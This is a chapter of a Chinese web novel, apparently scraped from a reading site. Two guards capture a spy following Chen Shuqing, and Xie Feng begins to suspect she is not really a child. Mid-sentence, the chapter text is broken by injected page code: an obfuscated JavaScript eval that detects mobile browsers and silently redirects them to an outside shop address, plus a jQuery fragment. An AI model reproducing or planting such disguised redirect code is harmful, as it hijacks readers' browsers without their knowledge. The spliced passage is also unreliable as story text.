53. 第 53 章
    陈舒青流连于琳琅满目的货品时,尺浣正在北市的街巷间追寻暗处的尾随者。

    北市原本的规划是五横五纵的市坊结构,后来随着贸易的扩大,原先的许多街道都搭建了附属的建筑。尤其是最热闹的顺城街,不仅中心路面变得越来越狭窄,而且还从街道的两侧延伸出去许许多多的窄巷小路,若是从空中望去,就像密密麻麻的蜘蛛网一般。

    尺浣就沿着这些小路飞快地移动。和章埅不一样,他被留在谢峰身边,就是因为过人的身手和丰富的侦察经验。可以说,在北卢都护府中,他也算得上顶尖的斥候了。

    如果他没有看错,那鬼鬼祟祟的尾随者,就是霍部人。

    竟然让霍部人潜入了城中!尺浣真是瞧不上秀水的防卫,怪不得李博这个太守做了十几年都没办法升官!

    尾随者也很小心,是不是回头扫视身后,防备有人黄雀在后。但尺浣这几年专门就研究霍部人,对他们的行动和攻击方式十分了解,不一会儿就缀在了那人身后。

    此人动作敏捷,似乎对陈舒青的一些习惯很了解,看够预判一些她的选择——当陈舒青进入首饰店的时候,尾随者显然知道她会留恋许久,所以自己也在旁边的小摊上要了一碗汤团慢慢吃。

    尺浣可以断定,此人应该跟踪了陈舒青不短时间。

    只是很奇怪,陈小姐有什么特异之处吗?难道陈家其实是秀水城中的……

    别看尺浣比章埅沉默许多,实际上他是一个非常善于思考,或者说……善于丰富联想的人。当他已经把陈家想象成隐藏在秀水城中的一股暗势力,而表面上与世无争的陈泽成实际上是九边杀手组织的幕后老大之时,才看到陈舒青和谢峰走了出来,白铜端着一个锦盒跟在后面,显然是又置办好了一件礼物。

    尺浣又发现了新的情况,这次倒和尾随者无关。今日出门的时候,谢大公子因为心里勉强得很,所以脸色甚是不佳,没想到这逛着逛着,心情仿佛好了很多。

    难道公子原来是读书憋久了?你看,这一散心,他脸上就开心了。尺浣决定等今日的事情一了,就回去和章埅商议一下,千万不能让公子读成一个书呆子。

    不过,眼下还是要先解决这个碍眼的玩意。

    尺浣看了一眼那个尾随者,又和章埅对了一下眼神。多年搭档,自然心领神会。

    尾随者见陈舒青上了车,连忙抹了抹嘴,将几个钱丢在桌上,重新跟了上去。

    这段路几乎是北市最繁华的地段了,行人川流不息,尾随者的胆子也大了起来,几乎不再掩饰身形,甚至一度贴到了陈舒青的马车边上。

    他知道章埅厉害,早就留意对方的神色,这日章埅始终老老实实跟在谢峰身边,他就以为章埅并未发现自己。

    所以,当他被章埅和尺浣夹住的时候,着实吃了一惊。原来不是自己技艺高超,而是对方早就布置好了圈套。

    章埅手狠,还不等尾随者出声,就已经伸手击晕了对方。有路人的目光落在这里,尺浣立刻扶住已经软软欲倒的尾随者,大声道:“大哥,你没事吧。这是中暑了吗?我扶你休息一会儿。”

    说着,他就把尾随者丢到了谢家那辆只装了礼物的空马车上,动作干净利落。

    陈舒青听到后面马车上的声音,奇怪地问:“出什么事了?”

    谢峰骑在马上,看她从车窗里投来关切的目光,犹豫了一下,道:“章埅和尺浣也买了点礼物要送人,大约是礼物太笨重了,弄出些响动。”

    陈舒青一看他神色就知道他在胡诌,不过听这话便是无甚大事,她也就笑着摇摇头。谢峰看到她的笑容,神色却有些恍惚。她这种神情,特别像少时自己从学堂逃课回家,从母亲脸上看到的神情。

    有点无奈,有点纵容。

    谢峰一直深藏在心中的疑问终于忍不住冒了出来:“你心里是不是觉得我们都是小孩子?”

    “啊,什么?”陈舒青的目光还在街边的铺子上留恋,随口应道。她记得有一间专门贩卖药草的店铺。从前世所看的电视剧里,她就知道东北的人参很不错。谢峰还有一位外祖母留在帝京,曾经派了莫延氏的护卫来找谢峰,看起来对外孙还是很疼爱的。既然是长辈,那么送人参应该还比较合适。

    谢峰本来坐在马上,身子比马车的窗户高出许多。此时他背对着阳光,俯身向前,再次问了一遍:“我总觉得,在你心里面,我们都是小孩子。”

    陈舒青最初是没听清,反应过来后心里一惊。她收回目光,却有点不敢看谢峰。

    最初来到这个世界的时候,她一直担心自己的来历会被发现。可是秦氏和陈泽成因为爱女病重,早就慌了神,根本不曾留意她神色间的异样。

    后来他们搬出新河老宅,生活翻天覆地,那么陈舒青身上发生的变化也有了理由。

    她不曾想,第一个看出异样来的却是谢峰。

    “你真的是一个十岁的女孩吗?”谢峰的语气并不急迫,他从第一次见到陈舒青就有些怀疑

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13459775|141673||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    了。当时他带的仆从还是从平水镇一路跟来的下人,听说他要租白木书院,就捧着银子到陈泽成前面。

    没想到开口拒绝的竟是陈舒青这个还未及笄的女儿。

    再到寺庙遇县主,舌战王礼时,处置陈书学,她所做的每件事,都超出了这个年纪应有的机变。

    最让他在意的就是陈舒青面对自己时的态度,最初他只体会到疏离,可是渐渐地,她变得和气了,愿意像朋友一样相待。只是他从其中隐约品味出一些别样的意味。那是无关风月的关怀。

    谢峰不会像尺浣那样胡乱猜想,他只觉得好奇,而且还有一点他自己也不明白的感情,尤其是当他发现在陈舒青享受同等待遇的还有秦兴昉、王启凡……

    “可能我天生爱操心吧。”陈舒青努力装傻,反正谢峰也找不出什么证据。

    “是吗?”谢峰再次轻轻提问,像是问她,又像是问自己。

    陈舒青东拉西扯,试图转移话题:“哎,你看看我父亲就知道了。他只懂得读书,要是没有我母亲操持,这日子还能过下去吗?”

    陈泽成和秦氏?不知道为什么,听到这个解释,谢峰的心情倒是好了起来。

    陈舒青见他不再追问,连忙指着前面的药草铺子,催促道:“走走走,买补品。”

    谢峰看她急切的样子,终于没有再深询,跟着她进了那间充满了草药香的铺子。

    这一路走走逛逛,等离开北市的时候,谢家的马车里已经堆满了东西,将那个尾随者都埋在下面了。章埅怕他半路醒来,惹出是非,时不时就上去给他续一个手刀,确保他安稳“睡”了一路。

    陈舒青对今日的收获很满意,她看看天色,就准备和谢峰道别。

    谢峰却道:“其实方才是有个刺客一直跟着我们,所以弄出了一点响动。”

    他看着陈舒青,对方果然不出所料地皱起眉头,道:“怎么会有刺客跟着我们?能送到官府吗?”

    若是刚相识的时候,她一准会嫌弃自己惹来这样的麻烦。但现在她只会认认真真地思考如何妥当处理这件事。

    谢峰猛然意识到,自己似乎很享受这种有人关照的感觉。

    于是他摇摇头,道:“我还不确定对方的来意,不便让李博知道。”

    他又去看陈舒青,看着对方无奈地叹气,然后道:“走吧,我和你一起去听听这个刺客怎么说。”

    他面色和陈舒青一样凝重,心里却慢慢、慢慢漾出一个谁也看不到的笑容。